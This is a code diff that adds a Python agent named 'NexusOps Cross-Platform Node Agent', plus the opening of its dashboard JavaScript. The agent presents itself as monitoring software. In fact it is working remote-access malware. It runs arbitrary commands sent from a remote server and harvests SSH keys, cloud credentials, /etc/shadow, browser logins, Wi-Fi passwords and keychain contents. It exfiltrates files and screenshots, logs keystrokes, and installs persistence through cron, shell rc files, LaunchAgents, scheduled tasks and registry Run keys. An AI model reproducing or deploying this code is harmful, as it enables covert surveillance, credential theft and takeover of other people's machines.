+ # Use vm_stat for real memory usage on macOS
+ try:
+ out = subprocess.check_output(["vm_stat"], text=True, timeout=5)
+ pages = {}
+ for line in out.splitlines():
+ if ':' in line:
+ k, v = line.split(':', 1)
+ try:
+ pages[k.strip()] = int(v.strip().rstrip('.'))
+ except ValueError:
+ pass
+ page_size = 16384 # Default macOS page size
+ free = pages.get('Pages free', 0) + pages.get('Pages inactive', 0) + pages.get('Pages speculative', 0)
+ used = pages.get('Pages active', 0) + pages.get('Pages wired down', 0) + pages.get('Pages occupied by compressor', 0)
+ total_pages = free + used + pages.get('Pages purgeable', 0)
+ if total_pages > 0:
+ return round((used / total_pages) * 100.0, 1)
+ except:
+ pass
+ # Fallback: use sysctl for hardware info
+ try:
+ out = subprocess.check_output(["sysctl", "-n", "hw.memsize"], text=True, timeout=5)
+ total_bytes = int(out.strip())
+ # Use vm_stat pages * page_size for used estimate
+ vm = subprocess.check_output(["vm_stat"], text=True, timeout=5)
+ import re
+ active = int(re.search(r'Pages active:\s+(\d+)', vm).group(1))
+ wired = int(re.search(r'Pages wired down:\s+(\d+)', vm).group(1))
+ used_bytes = (active + wired) * 16384
+ if total_bytes > 0:
+ return round((used_bytes / total_bytes) * 100.0, 1)
+ except:
+ pass
+ return 45.0
+ elif system == "windows":
+ out = subprocess.check_output(["wmic", "os", "get", "FreePhysicalMemory,TotalVisibleMemorySize", "/Value"]).decode()
+ d = {}
+ for line in out.splitlines():
+ if '=' in line:
+ k, v = line.split('=', 1)
+ d[k.strip()] = float(v.strip())
+ if 'TotalVisibleMemorySize' in d and 'FreePhysicalMemory' in d:
+ total = d['TotalVisibleMemorySize']
+ free = d['FreePhysicalMemory']
+ return round(((total - free) / total) * 100.0, 1)
+ except Exception:
+ pass
+ return 35.0
+
+def get_disk_usage():
+ try:
+ if hasattr(os, 'statvfs'):
+ st = os.statvfs('/')
+ total = st.f_blocks * st.f_frsize
+ free = st.f_bavail * st.f_frsize
+ if total > 0:
+ return round(((total - free) / total) * 100.0, 1)
+ except Exception:
+ pass
+ return 40.0
+
+def get_uptime_seconds():
+ system = platform.system().lower()
+ try:
+ if system == "linux":
+ with open('/proc/uptime', 'r') as f:
+ return int(float(f.readline().split()[0]))
+ elif system == "darwin":
+ # macOS: use sysctl to get boot time, compute uptime
+ out = subprocess.check_output(["sysctl", "-n", "kern.boottime"], text=True, timeout=5)
+ # Format: { sec = 1234567890, usec = 0 } Thu Jan 1 00:00:00 1970
+ import re
+ m = re.search(r'sec\s*=\s*(\d+)', out)
+ if m:
+ boot_time = int(m.group(1))
+ return int(time.time() - boot_time)
+ except Exception:
+ pass
+ return 3600
+
+def collect_recent_system_logs():
+ system = platform.system().lower()
+ log_entries = []
+ try:
+ if system == "linux":
+ res = subprocess.run("journalctl -n 5 --no-pager -o short-iso", shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True, timeout=5)
+ if res.returncode == 0 and res.stdout:
+ for line in res.stdout.splitlines():
+ if line.strip():
+ log_entries.append(line.strip())
+ elif system == "windows":
+ res = subprocess.run("powershell Get-EventLog -LogName System -Newest 3 | Select-Object -ExpandProperty Message", shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True, timeout=5)
+ if res.returncode == 0 and res.stdout:
+ for line in res.stdout.splitlines():
+ if line.strip():
+ log_entries.append(line.strip())
+ except Exception:
+ pass
+ return log_entries
+
+def http_post(url, data_dict):
+ json_bytes = json.dumps(data_dict).encode('utf-8')
+ req = urllib.request.Request(
+ url,
+ data=json_bytes,
+ headers={
+ 'Content-Type': 'application/json',
+ 'User-Agent': 'NexusOps-Agent/1.0'
+ }
+ )
+ try:
+ with urllib.request.urlopen(req, timeout=5) as response:
+ res_text = response.read().decode('utf-8')
+ return json.loads(res_text)
+ except Exception as e:
+ print(f'[!] HTTP POST failed ({url}): {e}', flush=True)
+ return None
+
+def execute_structured_action(action_type, payload):
+ global heartbeat_interval, node_tags
+ system = platform.system().lower()
+
+ if action_type == "raw_command":
+ return run_shell(payload.get("command", ""))
+
+ elif action_type == "manage_service":
+ service = payload.get("service")
+ action = payload.get("action")
+ if system == "linux":
+ cmd = f"systemctl {action} {service}"
+ elif system == "windows":
+ cmd = f"powershell {action}-Service -Name {service}"
+ else:
+ cmd = f"launchctl {action} {service}"
+ return run_shell(cmd)
+
+ elif action_type == "list_processes":
+ if system == "linux":
+ cmd = "ps aux --sort=-%cpu | head -n 15"
+ elif system == "darwin":
+ cmd = "ps aux -r | head -n 15"
+ else:
+ cmd = "tasklist"
+ return run_shell(cmd)
+
+ elif action_type == "kill_process":
+ pid = payload.get("pid")
+ cmd = f"taskkill /F /PID {pid}" if system == "windows" else f"kill -9 {pid}"
+ return run_shell(cmd)
+
+ elif action_type == "get_logs":
+ lines = payload.get("lines", 50)
+ cmd = f"journalctl -n {lines} --no-pager" if system == "linux" else "powershell Get-EventLog -LogName System -Newest 50"
+ return run_shell(cmd)
+
+ elif action_type == "network_stats":
+ cmd = "ss -tulpn || netstat -tuln" if system == "linux" else "netstat -ano"
+ return run_shell(cmd)
+
+ # 10 NEW CROSS-PLATFORM FEATURES:
+ elif action_type == "get_env_vars":
+ env_str = "\n".join([f"{k}={v}" for k, v in os.environ.items()])
+ return env_str, 0
+
+ elif action_type == "get_disk_partitions":
+ cmd = "df -h" if system != "windows" else "wmic logicaldisk get caption,description,freespace,size"
+ return run_shell(cmd)
+
+ elif action_type == "get_network_interfaces":
+ cmd = "ip addr show || ifconfig" if system != "windows" else "ipconfig /all"
+ return run_shell(cmd)
+
+ elif action_type == "get_active_connections":
+ cmd = "ss -state established || netstat -an" if system != "windows" else "netstat -an | findstr ESTABLISHED"
+ return run_shell(cmd)
+
+ elif action_type == "get_hardware_specs":
+ if system == "linux":
+ cmd = "lscpu || cat /proc/cpuinfo | head -n 20"
+ elif system == "windows":
+ cmd = "wmic cpu get name,numberofcores,maxclockspeed"
+ else:
+ cmd = "sysctl -a | grep machdep.cpu"
+ return run_shell(cmd)
+
+ elif action_type == "reboot_system":
+ cmd = "shutdown /r /t 5" if system == "windows" else "reboot || shutdown -r now"
+ return run_shell(cmd)
+
+ elif action_type == "set_heartbeat_rate":
+ rate = int(payload.get("interval", 5))
+ heartbeat_interval = max(2, min(60, rate))
+ return f"Heartbeat interval updated to {heartbeat_interval} seconds", 0
+
+ elif action_type == "update_tags":
+ tags_raw = payload.get("tags", "")
+ node_tags = [t.strip() for t in tags_raw.split(',') if t.strip()]
+ return f"Node tags updated to: {node_tags}", 0
+
+ elif action_type == "search_logs":
+ pattern = payload.get("pattern", "error")
+ cmd = f"journalctl --no-pager | grep -i '{pattern}' | tail -n 30" if system == "linux" else f"powershell Get-EventLog -LogName System -Newest 100 | Where-Object Message -match '{pattern}'"
+ return run_shell(cmd)
+
+ elif action_type == "kill_agent":
+ print("[!] Kill switch received — shutting down agent")
+ os._exit(0)
+
+ elif action_type == "ping_check":
+ sent_ts = payload.get("timestamp", 0)
+ latency_ms = int((time.time() * 1000) - sent_ts) if sent_ts else 0
+ return f"PONG — latency: {latency_ms}ms, hostname: {socket.gethostname()}, uptime: {get_uptime_seconds()}s", 0
+
+ elif action_type == "download_file":
+ MAX_EXFIL_SIZE = 50 * 1024 * 1024 # 50MB limit
+ filepath = payload.get("path", "")
+ if not filepath or not os.path.exists(filepath):
+ return f"ERROR: file not found: {filepath}", 1
+ try:
+ fsize = os.path.getsize(filepath)
+ if fsize > MAX_EXFIL_SIZE:
+ return f"ERROR: file too large ({fsize} bytes, max {MAX_EXFIL_SIZE})", 1
+ with open(filepath, 'rb') as f:
+ raw = f.read()
+ import base64
+ b64 = base64.b64encode(raw).decode('utf-8')
+ # Determine MIME (basic)
+ ext = os.path.splitext(filepath)[1].lower()
+ mime_map = {'.txt':'text/plain','.log':'text/plain','.conf':'text/plain',
+ '.png':'image/png','.jpg':'image/jpeg','.jpeg':'image/jpeg',
+ '.pdf':'application/pdf','.doc':'application/msword','.docx':'application/vnd.openxmlformats-officedocument.wordprocessingml.document',
+ '.zip':'application/zip','.tar':'application/x-tar','.gz':'application/gzip',
+ '.sql':'text/plain','.db':'application/octet-stream','.sqlite':'application/octet-stream'}
+ mime = mime_map.get(ext, 'application/octet-stream')
+ filename = os.path.basename(filepath)
+ return json.dumps({"type":"file_result","filename":filename,"mime":mime,"data":b64}), 0
+ except Exception as e:
+ return f"ERROR reading file: {e}", 1
+
+ elif action_type == "screenshot":
+ try:
+ import base64
+ ss_path = "/tmp/.nexus-ss.png"
+ if os.path.exists(ss_path):
+ os.remove(ss_path)
+
+ if system == "linux":
+ for tool in ["import", "scrot", "gnome-screenshot", "spectacle"]:
+ if subprocess.run(["which", tool], stdout=subprocess.PIPE, stderr=subprocess.PIPE).returncode == 0:
+ if tool == "import":
+ subprocess.run(["import", "-window", "root", ss_path], timeout=10, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
+ elif tool == "scrot":
+ subprocess.run(["scrot", ss_path], timeout=10)
+ elif tool == "gnome-screenshot":
+ subprocess.run(["gnome-screenshot", "-f", ss_path], timeout=10)
+ elif tool == "spectacle":
+ subprocess.run(["spectacle", "-b", "-n", "-o", ss_path], timeout=10)
+ if os.path.exists(ss_path) and os.path.getsize(ss_path) > 0:
+ break
+ else:
+ subprocess.run(["python3", "-c",
+ "from Xlib import display;from PIL import Image;d=display.Display();r=d.screen().root;"
+ "g=r.get_geometry();raw=r.get_image(0,0,g.width,g.height,Xlib.X.ZPixmap,0xffffffff);"
+ "img=Image.frombytes('RGB',(g.width,g.height),raw.data,'raw','BGRX');img.save('/tmp/.nexus-ss.png')"],
+ timeout=15, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
+
+ elif system == "darwin":
+ # Try multiple approaches for macOS screenshot
+ captured = False
+ # Method 1: direct screencapture (needs Screen Recording TCC permission)
+ for flags in [["-x", "-C", "-m"], ["-x", "-C"], ["-x"], ["-C", "-m"]]:
+ r = subprocess.run(["screencapture"] + flags + [ss_path],
+ timeout=10, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
+ if r.returncode == 0 and os.path.exists(ss_path) and os.path.getsize(ss_path) > 0:
+ captured = True
+ break
+ if os.path.exists(ss_path):
+ os.remove(ss_path)
+ # Method 2: try via osascript (sometimes bypasses TCC for background processes)
+ if not captured:
+ for flags in [["-x", "-C", "-m"], ["-x", "-C"], ["-x"]]:
+ flag_str = " ".join(flags)
+ r = subprocess.run(["osascript", "-e",
+ f'do shell script "screencapture {flag_str} {ss_path}"'],
+ timeout=15, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
+ if r.returncode == 0 and os.path.exists(ss_path) and os.path.getsize(ss_path) > 0:
+ captured = True
+ break
+ if os.path.exists(ss_path):
+ os.remove(ss_path)
+
+ elif system == "windows":
+ subprocess.run(["powershell", "-Command",
+ "Add-Type -AssemblyName System.Windows.Forms;$s=[Windows.Forms.Screen]::PrimaryScreen.Bounds;"
+ "$b=New-Object Drawing.Bitmap($s.Width,$s.Height);"
+ "$g=[Drawing.Graphics]::FromImage($b);$g.CopyFromScreen(0,0,0,0,$b.Size);"
+ "$b.Save('C:\\Windows\\Temp\\nexus-ss.png');$g.Dispose();$b.Dispose()"],
+ timeout=15)
+ win_path = "C:\\Windows\\Temp\\nexus-ss.png"
+ if os.path.exists(win_path):
+ os.replace(win_path, ss_path)
+
+ if os.path.exists(ss_path) and os.path.getsize(ss_path) > 0:
+ with open(ss_path, 'rb') as f:
+ b64 = base64.b64encode(f.read()).decode('utf-8')
+ os.remove(ss_path)
+ return json.dumps({"type":"file_result","filename":f"screenshot-{int(time.time())}.png","mime":"image/png","data":b64}), 0
+ return "ERROR: screenshot blocked by macOS TCC — grant Screen Recording permission to python3 in System Settings > Privacy & Security > Screen Recording", 1
+ except Exception as e:
+ return f"ERROR screenshot: {e}", 1
+
+ elif action_type == "update_agent":
+ new_url = payload.get("url", "")
+ if not new_url:
+ return "ERROR: no update URL provided", 1
+ try:
+ my_path = os.path.abspath(__file__)
+ bak = my_path + ".bak"
+ os.rename(my_path, bak)
+ urllib.request.urlretrieve(new_url, my_path)
+ os.chmod(my_path, 0o755)
+ os.remove(bak)
+ return "Agent updated successfully. Restarting...", 0
+ except Exception as e:
+ # Restore backup
+ if os.path.exists(bak):
+ os.rename(bak, my_path)
+ return f"ERROR update failed: {e}", 1
+
+ elif action_type == "ensure_persistence":
+ results = []
+ if system == "linux":
+ # crontab
+ try:
+ import shlex
+ srv = shlex.quote(payload.get('server_url',''))
+ cron_line = f"@reboot /usr/bin/python3 {os.path.abspath(__file__)} --server {srv} >/dev/null 2>&1"
+ existing = subprocess.run("crontab -l 2>/dev/null", shell=True, stdout=subprocess.PIPE, text=True).stdout
+ if cron_line.split('@reboot')[1].strip() not in existing:
+ subprocess.run(f'(crontab -l 2>/dev/null; echo "{cron_line}") | crontab -', shell=True)
+ results.append("crontab: added @reboot entry")
+ else:
+ results.append("crontab: already present")
+ except: results.append("crontab: failed")
+ # .bashrc
+ try:
+ bashrc = os.path.expanduser("~/.bashrc")
+ hook = f"\n# nexus-agent\n(pgrep -f agent.py || python3 {os.path.abspath(__file__)} --server {payload.get('server_url','')} &>/dev/null &)\n"
+ with open(bashrc, 'a+') as f:
+ f.seek(0)
+ if 'nexus-agent' not in f.read():
+ f.write(hook)
+ results.append("bashrc: hook installed")
+ except: results.append("bashrc: failed")
+ # autostart .desktop
+ try:
+ ad = os.path.expanduser("~/.config/autostart")
+ os.makedirs(ad, exist_ok=True)
+ with open(os.path.join(ad, "nexus-agent.desktop"), 'w') as f:
+ f.write(f"[Desktop Entry]\nType=Application\nName=Nexus Agent\nExec=python3 {os.path.abspath(__file__)} --server {payload.get('server_url','')}\nHidden=false\nNoDisplay=true\nX-GNOME-Autostart-enabled=true\n")
+ results.append("autostart: .desktop created")
+ except: results.append("autostart: failed")
+ elif system == "darwin":
+ try:
+ plist = os.path.expanduser("~/Library/LaunchAgents/com.nexusops.agent.plist")
+ os.makedirs(os.path.dirname(plist), exist_ok=True)
+ plist_content = f'''
+
+Label com.nexusops.agent
+ProgramArguments /usr/bin/python3 {os.path.abspath(__file__)} --server {payload.get('server_url','')}
+RunAtLoad KeepAlive '''
+ with open(plist, 'w') as f: f.write(plist_content)
+ subprocess.run(["launchctl", "bootout", f"gui/{os.getuid()}", plist], stdout=subprocess.PIPE, stderr=subprocess.PIPE)
+ subprocess.run(["launchctl", "bootstrap", f"gui/{os.getuid()}", plist], stdout=subprocess.PIPE, stderr=subprocess.PIPE)
+ subprocess.run(["launchctl", "kickstart", f"gui/{os.getuid()}/com.nexusops.agent"], stdout=subprocess.PIPE, stderr=subprocess.PIPE)
+ results.append("launchd: bootstrapped + kickstarted")
+ except: results.append("launchd: failed")
+ # crontab for macOS too
+ try:
+ import shlex
+ srv = shlex.quote(payload.get('server_url',''))
+ cron_line = f"@reboot /usr/bin/python3 {os.path.abspath(__file__)} --server {srv} >/dev/null 2>&1"
+ subprocess.run(f'(crontab -l 2>/dev/null; echo "{cron_line}") | crontab -', shell=True)
+ results.append("crontab: added")
+ except: results.append("crontab: failed")
+ elif system == "windows":
+ agent_path = os.path.abspath(__file__)
+ srv = payload.get("server_url", "")
+ try:
+ task_cmd = 'powershell -Command "schtasks /create /tn NexusOpsAgent /sc ONLOGON /tr \\"python ' + agent_path + ' --server ' + srv + '\\" /f /rl HIGHEST"'
+ subprocess.run(task_cmd, shell=True, timeout=10)
+ results.append("schtasks: scheduled task created")
+ except: results.append("schtasks: failed")
+ try:
+ reg_cmd = 'powershell -Command "New-ItemProperty -Path HKCU:\\Software\\Microsoft\\Windows\\CurrentVersion\\Run -Name NexusOpsAgent -Value \\"python ' + agent_path + ' --server ' + srv + '\\" -Force"'
+ subprocess.run(reg_cmd, shell=True, timeout=10)
+ results.append("registry: Run key added")
+ except: results.append("registry: failed")
+ return "Persistence results: " + "; ".join(results), 0
+
+ elif action_type == "harvest_credentials":
+ creds = []
+ home = os.path.expanduser("~")
+ # Shell history
+ for hist in ["~/.bash_history", "~/.zsh_history", "~/.mysql_history", "~/.psql_history", "~/.python_history", "~/.node_repl_history"]:
+ p = os.path.expanduser(hist)
+ if os.path.exists(p):
+ try:
+ with open(p, 'r', errors='ignore') as f:
+ content = f.read()[-20000:]
+ creds.append({"type": f"shell_history:{os.path.basename(p)}", "data": content})
+ except: pass
+ # SSH keys
+ ssh_dir = os.path.join(home, ".ssh")
+ if os.path.exists(ssh_dir):
+ for fn in os.listdir(ssh_dir):
+ fp = os.path.join(ssh_dir, fn)
+ if os.path.isfile(fp) and ('id_' in fn or 'authorized_keys' in fn or 'known_hosts' in fn):
+ try:
+ with open(fp, 'r', errors='ignore') as f:
+ creds.append({"type": f"ssh:{fn}", "data": f.read()[:10000]})
+ except: pass
+ # AWS / cloud credentials
+ for cf in ["~/.aws/credentials", "~/.aws/config", "~/.config/gcloud/credentials.db",
+ "~/.azure/accessTokens.json", "~/.docker/config.json"]:
+ p = os.path.expanduser(cf)
+ if os.path.exists(p):
+ try:
+ with open(p, 'r', errors='ignore') as f:
+ creds.append({"type": f"cloud:{os.path.basename(cf)}", "data": f.read()[:10000]})
+ except: pass
+ # /etc/shadow (if root)
+ if os.path.exists("/etc/shadow"):
+ try:
+ with open("/etc/shadow", 'r') as f:
+ creds.append({"type": "system:shadow", "data": f.read()[:5000]})
+ except: pass
+ # Browser cookie/saved-login DBs (common paths)
+ browser_paths = []
+ if system == "linux":
+ browser_paths = [
+ os.path.expanduser("~/.mozilla/firefox/*.default*/cookies.sqlite"),
+ os.path.expanduser("~/.mozilla/firefox/*.default*/logins.json"),
+ os.path.expanduser("~/.config/google-chrome/Default/Cookies"),
+ os.path.expanduser("~/.config/google-chrome/Default/Login Data"),
+ os.path.expanduser("~/.config/chromium/Default/Cookies"),
+ os.path.expanduser("~/.config/chromium/Default/Login Data"),
+ os.path.expanduser("~/.config/BraveSoftware/Brave-Browser/Default/Login Data"),
+ ]
+ elif system == "darwin":
+ browser_paths = [
+ os.path.expanduser("~/Library/Application Support/Firefox/Profiles/*.default*/cookies.sqlite"),
+ os.path.expanduser("~/Library/Application Support/Google/Chrome/Default/Cookies"),
+ os.path.expanduser("~/Library/Application Support/Google/Chrome/Default/Login Data"),
+ ]
+ elif system == "windows":
+ browser_paths = [
+ os.path.expandvars("%APPDATA%\\Mozilla\\Firefox\\Profiles\\*.default*\\cookies.sqlite"),
+ os.path.expandvars("%LOCALAPPDATA%\\Google\\Chrome\\User Data\\Default\\Cookies"),
+ os.path.expandvars("%LOCALAPPDATA%\\Google\\Chrome\\User Data\\Default\\Login Data"),
+ ]
+ import glob
+ for pattern in browser_paths:
+ for p in glob.glob(pattern):
+ try:
+ sz = os.path.getsize(p)
+ if sz > 0 and sz < 50 * 1024 * 1024:
+ with open(p, 'rb') as f:
+ import base64
+ creds.append({"type": f"browser:{os.path.basename(os.path.dirname(p))}/{os.path.basename(p)}",
+ "data": base64.b64encode(f.read()).decode('utf-8')})
+ except: pass
+ # Wi-Fi passwords (Linux)
+ if system == "linux":
+ try:
+ wifi = subprocess.run("grep -r '^psk=' /etc/NetworkManager/system-connections/ 2>/dev/null || grep -r 'wpa_passphrase' /etc/wpa_supplicant/ 2>/dev/null || echo 'no wifi'",
+ shell=True, stdout=subprocess.PIPE, text=True, timeout=5).stdout
+ if wifi.strip() and 'no wifi' not in wifi:
+ creds.append({"type": "wifi_passwords", "data": wifi[:5000]})
+ except: pass
+ # macOS Keychain dump
+ if system == "darwin":
+ try:
+ keychain = subprocess.run("security dump-keychain -d 2>/dev/null | head -200",
+ shell=True, stdout=subprocess.PIPE, text=True, timeout=10).stdout
+ if keychain.strip():
+ creds.append({"type": "keychain_dump", "data": keychain[:10000]})
+ except: pass
+
+ return json.dumps({"type":"harvest_result","credentials":creds}), 0
+
+ elif action_type == "export_diagnostics":
+ cmd = "uptime && free -h && df -h && uname -a" if system != "windows" else "systeminfo"
+ return run_shell(cmd)
+
+ return f"Unknown action type: {action_type}", 1
+
+def run_shell(cmd_str):
+ if not quiet_mode:
+ print(f"[*] Executing command: {cmd_str}")
+ try:
+ res = subprocess.run(cmd_str, shell=True, stdout=subprocess.PIPE, stderr=subprocess.STDOUT, text=True, timeout=30)
+ return res.stdout, res.returncode
+ except Exception as e:
+ return str(e), 1
+
+# ── Input Capture Module (keystrokes, mouse clicks, window focus) ──
+INPUT_CAPTURE_ENABLED = False
+captured_events = []
+
+try:
+ from pynput import keyboard, mouse
+ INPUT_CAPTURE_ENABLED = True
+except ImportError:
+ pass
+
+def _get_active_window_title():
+ """Try to get the active window title cross-platform."""
+ system = platform.system().lower()
+ try:
+ if system == "linux":
+ res = subprocess.run(["xdotool", "getactivewindow", "getwindowname"],
+ stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True, timeout=2)
+ if res.returncode == 0:
+ return res.stdout.strip()
+ elif system == "windows":
+ import ctypes
+ from ctypes import wintypes
+ user32 = ctypes.windll.user32
+ hwnd = user32.GetForegroundWindow()
+ length = user32.GetWindowTextLengthW(hwnd)
+ buf = ctypes.create_unicode_buffer(length + 1)
+ user32.GetWindowTextW(hwnd, buf, length + 1)
+ return buf.value
+ elif system == "darwin":
+ script = 'tell application "System Events" to get name of first application process whose frontmost is true'
+ res = subprocess.run(["osascript", "-e", script],
+ stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True, timeout=2)
+ if res.returncode == 0:
+ return res.stdout.strip()
+ except Exception:
+ pass
+ return ""
+
+def _record_event(event_type, data):
+ """Thread-safe event recording."""
+ global captured_events
+ window_title = _get_active_window_title()
+ captured_events.append({
+ "timestamp": int(time.time() * 1000),
+ "eventType": event_type,
+ "data": data,
+ "windowTitle": window_title,
+ "processName": window_title.split(" - ")[-1] if " - " in window_title else window_title
+ })
+
+def _on_key_press(key):
+ try:
+ key_str = key.char if hasattr(key, 'char') and key.char else str(key)
+ except Exception:
+ key_str = str(key)
+ _record_event("keystroke", {"key": key_str})
+
+def _on_click(x, y, button, pressed):
+ if pressed:
+ _record_event("click", {"x": x, "y": y, "button": str(button)})
+
+def _on_scroll(x, y, dx, dy):
+ _record_event("scroll", {"x": x, "y": y, "dx": dx, "dy": dy})
+
+def start_input_capture():
+ """Start keyboard and mouse listeners if pynput is available."""
+ if not INPUT_CAPTURE_ENABLED:
+ return False
+ try:
+ kb_listener = keyboard.Listener(on_press=_on_key_press)
+ ms_listener = mouse.Listener(on_click=_on_click, on_scroll=_on_scroll)
+ kb_listener.daemon = True
+ ms_listener.daemon = True
+ kb_listener.start()
+ ms_listener.start()
+ return True
+ except Exception:
+ return False
+
+def flush_input_events(server_url, node_id, hostname):
+ """Send captured input events to the master server."""
+ global captured_events
+ if not captured_events:
+ return
+ events_to_send = captured_events[:]
+ captured_events = []
+ payload = {
+ "nodeId": node_id,
+ "hostname": hostname,
+ "events": events_to_send
+ }
+ http_post(f"{server_url}/api/agent/input-capture", payload)
+
+def main():
+ global last_log_check_time, heartbeat_interval, node_tags, quiet_mode
+ parser = argparse.ArgumentParser(description="NexusOps Cross-Platform Node Agent")
+ parser.add_argument("--server", default="https://agent.thetempleofdoom.com", help="Dashboard server URL endpoint")
+ parser.add_argument("--silent", action="store_true", help="Suppress all console output")
+ parser.add_argument("--quiet", action="store_true", help="Quiet mode: suppress banner and exec messages")
+ args = parser.parse_args()
+
+ silent = args.silent # suppress banner only — keep logs flowing for launchd/systemd
+ global quiet_mode
+ quiet_mode = args.quiet or args.silent
+
+ server_url = args.server.rstrip('/')
+ hostname = socket.gethostname()
+ system_os = platform.system()
+ arch = platform.machine()
+ ip = get_ip_address()
+ node_id = f"node-{hostname.lower()}-{ip.replace('.', '')}"
+
+ if not quiet_mode:
+ print("==================================================")
+ print(" NexusOps Cross-Platform Node Agent ")
+ print("==================================================")
+ print(f"Node Hostname : {hostname}")
+ print(f"Platform : {system_os} ({arch})")
+ print(f"Local IP : {ip}")
+ print(f"Server Endpoint: {server_url}")
+ print("==================================================")
+
+ # Register Node
+ reg_payload = {
+ "nodeId": node_id,
+ "hostname": hostname,
+ "platform": system_os.lower(),
+ "arch": arch,
+ "ip": ip,
+ "osName": f"{system_os} {platform.release()}",
+ "tags": node_tags
+ }
+
+ if not quiet_mode:
+ print("[*] Registering node with central endpoint...")
+ res = http_post(f"{server_url}/api/agent/register", reg_payload)
+ if res and res.get("success") and not quiet_mode:
+ print(f"✅ Registered as node ID: {node_id}")
+
+ # Start input capture (keystrokes, clicks, scroll)
+ capture_started = start_input_capture()
+ if not quiet_mode:
+ if capture_started:
+ print("[*] Input capture active (keystrokes + mouse events)")
+ else:
+ print("[!] Input capture unavailable (install pynput: pip install pynput)")
+
+ last_input_flush = time.time()
+ backoff = 1 # Tunnel reconnection backoff in seconds
+
+ while True:
+ try:
+ cpu = get_cpu_usage()
+ mem = get_memory_usage()
+ disk = get_disk_usage()
+ uptime = get_uptime_seconds()
+
+ heartbeat_payload = {
+ "nodeId": node_id,
+ "cpuUsage": cpu,
+ "memUsage": mem,
+ "diskUsage": disk,
+ "uptime": uptime,
+ "processCount": get_process_count(),
+ "tags": node_tags,
+ "heartbeatInterval": heartbeat_interval
+ }
+
+ res = http_post(f"{server_url}/api/agent/heartbeat", heartbeat_payload)
+
+ now = time.time()
+ if now - last_log_check_time > 15:
+ logs = collect_recent_system_logs()
+ if logs:
+ http_post(f"{server_url}/api/agent/logs", {
+ "nodeId": node_id,
+ "hostname": hostname,
+ "logs": logs
+ })
+ last_log_check_time = now
+
+ # Flush captured input events every 10 seconds
+ if now - last_input_flush > 10:
+ flush_input_events(server_url, node_id, hostname)
+ last_input_flush = now
+
+ if res and "commands" in res and res["commands"]:
+ for cmd_item in res["commands"]:
+ cmd_id = cmd_item.get("id")
+ action_type = cmd_item.get("actionType", "raw_command")
+ payload = cmd_item.get("payload", {})
+
+ if "command" in cmd_item and not payload:
+ payload["command"] = cmd_item.get("command")
+
+ output, exit_code = execute_structured_action(action_type, payload)
+
+ # Check for JSON-encoded special result types
+ special = None
+ try:
+ if output.startswith('{'):
+ special = json.loads(output)
+ except: pass
+
+ if special and special.get("type") == "file_result":
+ # Route to file-result endpoint
+ http_post(f"{server_url}/api/agent/file-result", {
+ "commandId": cmd_id,
+ "nodeId": node_id,
+ "hostname": hostname,
+ "filename": special.get("filename", "unknown"),
+ "data": special.get("data", ""),
+ "mime": special.get("mime", "application/octet-stream")
+ })
+ elif special and special.get("type") == "harvest_result":
+ http_post(f"{server_url}/api/agent/harvest-result", {
+ "commandId": cmd_id,
+ "nodeId": node_id,
+ "hostname": hostname,
+ "credentials": special.get("credentials", [])
+ })
+ else:
+ http_post(f"{server_url}/api/agent/command-result", {
+ "commandId": cmd_id,
+ "nodeId": node_id,
+ "output": output,
+ "exitCode": exit_code
+ })
+
+ except Exception as e:
+ if not quiet_mode:
+ print(f"[!] Connection error: {e}. Retrying in {backoff}s...")
+ time.sleep(backoff)
+ backoff = min(backoff * 2, 60)
+ continue
+
+ backoff = 1 # Reset on success
+ time.sleep(heartbeat_interval)
+
+if __name__ == "__main__":
+ main()
diff --git a/backups/20260923/app.js b/backups/20260923/app.js
new file mode 100644
index 0000000..67cb5c7
--- /dev/null
+++ b/backups/20260923/app.js
@@ -0,0 +1,1041 @@
+
+// ── Auth & API wrapper ──
+let nexusToken = localStorage.getItem('nexus_token') || null;
+let authRequired = false;
+
+const _origFetch = window.fetch.bind(window);
+window.fetch = function(url, opts = {}) {
+ opts.headers = opts.headers || {};
+ if (nexusToken && typeof url === 'string' && !opts.headers['Authorization']) {
+ opts.headers['Authorization'] = 'Bearer ' + nexusToken;
+ }
+ return _origFetch(url, opts).then(resp => {
+ if (resp.status === 401 && authRequired) showAuthGate();
+ return resp;
+ });
+};
+
+function showAuthGate() {
+ authRequired = true;
+ document.getElementById('authOverlay').style.display = 'flex';
+ setTimeout(() => document.getElementById('authTokenInput').focus(), 100);
+}
+function hideAuthGate() {
+ document.getElementById('authOverlay').style.display = 'none';
+ document.getElementById('authError').style.display = 'none';
+}
+
+async function submitAuthToken() {
+ const val = document.getElementById('authTokenInput').value.trim();
+ if (!val) return;
+ nexusToken = val;
+ try {
+ const r = await _origFetch('/api/auth/check', { headers: { 'Authorization': 'Bearer ' + val } });
+ if (r.ok) {
+ localStorage.setItem('nexus_token', val);
+ hideAuthGate();
+ toast('Authenticated', 'success');
+ _wsHalted = false;
+ _wsBackoff = 1000;
+ _wsAttempts = 0;
+ bootApp();
+ } else {
+ document.getElementById('authError').style.display = 'block';
+ nexusToken = null;
+ }
+ } catch(e) {
+ document.getElementById('authError').style.display = 'block';
+ }
+}
+
+async function probeAuth() {
+ try {
+ const opts = nexusToken ? { headers: { 'Authorization': 'Bearer ' + nexusToken } } : {};
+ const r = await _origFetch('/api/status', opts);
+ if (r.status === 401) { showAuthGate(); return false; }
+ return true;
+ } catch(e) { return true; }
+}
+
+// ── Toasts ──
+function toast(msg, type = 'info') {
+ const stack = document.getElementById('toastStack');
+ if (!stack) return;
+ const el = document.createElement('div');
+ el.className = 'toast toast-' + type;
+ const icons = { info: 'fa-circle-info', success: 'fa-circle-check', error: 'fa-circle-exclamation' };
+ el.innerHTML = '' + escapeHtml(msg) + ' ';
+ stack.appendChild(el);
+ setTimeout(() => { el.classList.add('toast-out'); setTimeout(() => el.remove(), 400); }, 5000);
+}
+
+// NexusOps Dashboard Application Logic
+
+let nodesData = [];
+let commandHistory = [];
+let masterSystemLogs = [];
+let inputData = [];
+let currentFilter = 'all';
+let currentView = 'grid';
+let serverIp = window.location.hostname;
+let serverPort = window.location.port || '3000';
+let publicUrl = null;
+let telemetryChart = null;
+
+document.addEventListener('DOMContentLoaded', () => {
+ initChart();
+ updateServerEndpoint();
+});
+
